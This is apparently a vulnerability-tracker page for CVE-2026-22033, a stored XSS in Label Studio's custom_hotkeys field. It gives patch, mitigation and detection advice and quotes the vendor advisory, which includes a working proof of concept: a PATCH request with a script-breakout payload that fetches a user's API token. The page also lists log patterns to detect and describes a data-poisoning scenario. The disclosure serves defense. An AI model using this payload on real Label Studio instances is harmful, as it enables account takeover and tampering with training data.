CVE-2026-22033: label-studio: XSS enables session hijacking
GHSA-2mq9-hm29-8qch HIGH PoC AVAILABLE CISA: TRACK*Label Studio, the AI data annotation platform used to build supervised learning ground truth, has a critical stored XSS that lets any authenticated user steal API tokens from every other user—including admins—with a single HTTP request. Patch immediately to the nightly build (post-commit ea2462bf) and rotate all API tokens; if patching is blocked, restrict Label Studio access to fully trusted internal users only. Treat any unpatched instance exposed to external annotators as compromised and audit access logs now.
Risk Assessment
HIGH. Exploitability is trivial—any authenticated user with a basic HTTP client can execute this in under five minutes using the public PoC. The EPSS score (0.00012) reflects recency, not difficulty; exploitation is elementary and will rise sharply. Impact is severe: API token theft yields full account takeover, and Label Studio admin accounts control the entire training data labeling workflow. Organizations running multi-tenant instances with external annotators face immediate risk. No patch version is confirmed stable yet (nightly only), extending exposure window.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| label-studio | pip | <= 1.22.0 | No patch |
Do you use label-studio? You're affected.
Severity & Risk
Recommended Action
5 steps-
PATCH
Upgrade to Label Studio nightly (commit ea2462bf / PR #9084). No stable patched release exists as of publication—monitor HumanSignal releases closely.
-
IMMEDIATE COMPENSATING
Block PATCH /api/users/{id} at WAF/reverse-proxy layer for non-admin roles, or disable the custom_hotkeys feature if unused. Restrict Label Studio to internal network or VPN.
-
TOKEN ROTATION
Force-rotate all Label Studio API tokens for all users post-patch. Invalidate active sessions.
-
DETECTION
Query web/application logs for PATCH /api/users/ requests containing '</script>' or 'fetch(' in the payload body. Alert on anomalous calls to /api/current-user/token, especially from unexpected IPs or user agents.
-
HARDENING
Add Content-Security-Policy header with 'script-src self' to block inline script execution as a defense-in-depth measure. Audit all template usages of the |safe filter in the codebase.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-22033?
Label Studio, the AI data annotation platform used to build supervised learning ground truth, has a critical stored XSS that lets any authenticated user steal API tokens from every other user—including admins—with a single HTTP request. Patch immediately to the nightly build (post-commit ea2462bf) and rotate all API tokens; if patching is blocked, restrict Label Studio access to fully trusted internal users only. Treat any unpatched instance exposed to external annotators as compromised and audit access logs now.
Is CVE-2026-22033 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-22033, increasing the risk of exploitation.
How to fix CVE-2026-22033?
1. PATCH: Upgrade to Label Studio nightly (commit ea2462bf / PR #9084). No stable patched release exists as of publication—monitor HumanSignal releases closely. 2. IMMEDIATE COMPENSATING: Block PATCH /api/users/{id} at WAF/reverse-proxy layer for non-admin roles, or disable the custom_hotkeys feature if unused. Restrict Label Studio to internal network or VPN. 3. TOKEN ROTATION: Force-rotate all Label Studio API tokens for all users post-patch. Invalidate active sessions. 4. DETECTION: Query web/application logs for PATCH /api/users/ requests containing '</script>' or 'fetch(' in the payload body. Alert on anomalous calls to /api/current-user/token, especially from unexpected IPs or user agents. 5. HARDENING: Add Content-Security-Policy header with 'script-src self' to block inline script execution as a defense-in-depth measure. Audit all template usages of the |safe filter in the codebase.
What systems are affected by CVE-2026-22033?
This vulnerability affects the following AI/ML architecture patterns: AI data labeling pipelines, RLHF annotation workflows, Training data pipelines, Active learning systems, Multi-tenant annotation platforms.
What is the CVSS score for CVE-2026-22033?
No CVSS score has been assigned yet.
Technical Details
NVD Description
### Prologue These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually. ### Summary A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the `templates/base.html` template. Because the application exposes an API token endpoint (`/api/current-user/token`) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise. ### Details Within `templates/base.html`, the application renders user-controlled hotkey configuration via the following JavaScript snippet: ```js var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }}; ``` Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in `core/templatetags/filters.py`) which performs `json.dumps(dictionary, ensure_ascii=False)` but does not escape closing `</script>` sequences or other dangerous characters. Because the template uses the `|safe` filter, the output is inserted into the HTML `<script>` context without further escaping. In `users/api.py`, the *PATCH* endpoint allows updating of `custom_hotkeys`: ```python user.custom_hotkeys = serializer.validated_data['custom_hotkeys'] user.save(update_fields=['custom_hotkeys']) ``` The serializer allows `<` and `>` characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via `PATCH /api/users/{id}/:` ```json { "first_name":"poc", "last_name":"test", "phone":"123", "custom_hotkeys":{ "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{ "key":"x", "active":true } } } ``` When another user loads a page using templates/base.html (for example `/user/account/` or `/`), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious `<script>` code. Because the application exposes `/api/current-user/token` ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse. ### PoC 1. **Login to the application** - Go to the login page: `GET /user/login/` 2. **Identify your user ID (via API)** - `GET /api/current-user/whoami` - In the response JSON you will see your user ID (for example `"id": 123`). - Note this ID for the next step. 3. Inject a malicious hotkey payload in the PATCH request /api/users/{id} - Using the user API, send a `PATCH` request to update your `custom_hotkeys`. Example request ```http PATCH /api/users/25 HTTP/1.1 Host: 0.0.0.0:8080 Content-Length: 288 sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 content-type: application/json baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false Accept: */* Origin: http://0.0.0.0:8080 Referer: http://0.0.0.0:8080/user/account/personal-info Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6 Cookie: {STRIPPED} Connection: keep-alive { "first_name":"poc", "last_name":"test", "phone":"123", "custom_hotkeys":{ "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{ "key":"x", "active":true } } } ``` Example response ```json {"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"} ``` 4. Verify the injected string persists - Still logged in as your user, go to your account page (e.g., `GET /user/account/`). - See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server ### Impact Exploitation impact: - Full account takeover of victim user(s). - Exposure of API tokens granting access to internal/external APIs. - Unauthorized API access, data exfiltration, token reset or privilege escalation. - If victim is administrator or privileged user, wide system compromise possible. Who is impacted: - All users who load the template and whose session/token is accessible via browser. - The organization’s application and data. - Potentially other end-users if cross-user token exfiltration occurs.
Exploitation Scenario
A malicious external annotator (or insider) authenticates to a shared Label Studio instance used for LLM fine-tuning data collection. They send one PATCH request to their own user profile, injecting a JavaScript payload into the custom_hotkeys JSON field that breaks out of the script tag context. Every colleague—including the ML lead and platform admin—who opens Label Studio triggers silent token exfiltration to the attacker's server. With the admin's API token, the attacker spends two weeks silently flipping a statistically meaningful fraction of sentiment labels in the RLHF preference dataset before model retraining. The resulting model degrades on adversarial inputs in production; root cause attribution requires full annotation audit trail review to identify.
Weaknesses (CWE)
References
- github.com/HumanSignal/label-studio/commit/ea2462bf042bbf370b79445d02a205fbe547b505
- github.com/HumanSignal/label-studio/pull/9084
- github.com/HumanSignal/label-studio/releases/tag/nightly
- github.com/HumanSignal/label-studio/security/advisories/GHSA-2mq9-hm29-8qch
- github.com/advisories/GHSA-2mq9-hm29-8qch
- nvd.nist.gov/vuln/detail/CVE-2026-22033
Timeline
Related Vulnerabilities
CVE-2025-25297 8.6 Label Studio: SSRF via S3 endpoint exposes internal services
Same package: label-studio CVE-2025-5173 7.8 label-studio-ml: PyTorch .pt deserialization RCE in YOLO loader
Same package: label-studio CVE-2022-36551 6.5 Label Studio: SSRF + file read, self-reg bypass
Same package: label-studio CVE-2025-25296 6.1 Label Studio: reflected XSS via label_config param
Same package: label-studio CVE-2025-47783 Label Studio: XSS enables unauthorized actions via CSRF
Same package: label-studio
AI Threat Alert